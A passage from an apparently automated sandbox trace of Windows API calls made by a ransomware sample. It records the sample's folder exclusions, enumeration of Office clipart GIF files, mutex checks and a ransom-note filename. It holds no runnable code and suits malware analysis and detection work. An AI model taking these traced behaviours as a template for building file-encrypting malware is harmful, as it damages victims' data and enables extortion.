Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9c8, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0059.441] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0059.441] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0059.441] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9c8, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0059.441] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9c8, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0059.441] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9c8, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0059.441] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\clipart\\pub60cor\\") returned 0x33 [0059.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0059.441] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.441] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.441] GlobalUnlock (hMem=0x44000c) returned 0 [0059.441] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.442] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.442] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.442] GlobalUnlock (hMem=0x44000c) returned 0 [0059.442] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.442] GlobalUnlock (hMem=0x440004) returned 0 [0059.442] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0059.442] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.443] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0059.443] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0059.443] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.443] GlobalLock (hMem=0x440004) returned 0x550170 [0059.443] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.443] GlobalUnlock (hMem=0x440004) returned 0 [0059.443] GlobalLock (hMem=0x440004) returned 0x550170 [0059.443] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.443] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.444] GlobalUnlock (hMem=0x440004) returned 0 [0059.444] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.444] GlobalUnlock (hMem=0x44000c) returned 0 [0059.444] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.444] CharLowerBuffW (in: lpsz="AG00004_.GIF", cchLength=0xc | out: lpsz="ag00004_.gif") returned 0xc [0059.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0059.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.444] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF", lpUsedDefaultChar=0x0) returned 63 [0059.444] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifT\\PUB60COR\\AG00004_.GIF", lpUsedDefaultChar=0x0) returned 4 [0059.445] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0059.445] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.445] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.445] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.445] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.445] GlobalUnlock (hMem=0x44000c) returned 0 [0059.445] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.445] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.445] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.445] GlobalUnlock (hMem=0x44000c) returned 0 [0059.445] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.445] GlobalUnlock (hMem=0x440004) returned 0 [0059.445] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.445] CharLowerBuffW (in: lpsz="AG00011_.GIF", cchLength=0xc | out: lpsz="ag00011_.gif") returned 0xc [0059.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0059.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.446] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF", lpUsedDefaultChar=0x0) returned 63 [0059.446] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifT\\PUB60COR\\AG00011_.GIF", lpUsedDefaultChar=0x0) returned 4 [0059.446] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78587200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78587200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0059.446] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.446] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.446] GlobalLock (hMem=0x440004) returned 0x550170 [0059.446] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.446] GlobalUnlock (hMem=0x440004) returned 0 [0059.446] GlobalLock (hMem=0x440004) returned 0x550170 [0059.446] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.446] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.446] GlobalUnlock (hMem=0x440004) returned 0 [0059.446] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.446] GlobalUnlock (hMem=0x44000c) returned 0 [0059.446] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.447] CharLowerBuffW (in: lpsz="AG00021_.GIF", cchLength=0xc | out: lpsz="ag00021_.gif") returned 0xc [0059.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0059.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.447] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF", lpUsedDefaultChar=0x0) returned 63 [0059.447] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifT\\PUB60COR\\AG00021_.GIF", lpUsedDefaultChar=0x0) returned 4 [0059.447] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64147500, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64147500, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0059.447] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.447] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.448] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.448] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.448] GlobalUnlock (hMem=0x44000c) returned 0 [0059.448] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.448] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.448] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.448] GlobalUnlock (hMem=0x44000c) returned 0 [0059.448] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.448] GlobalUnlock (hMem=0x440004) returned 0 [0059.448] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.448] CharLowerBuffW (in: lpsz="AG00037_.GIF", cchLength=0xc | out: lpsz="ag00037_.gif") returned 0xc [0059.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0059.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.448] WideCharToMultiByte 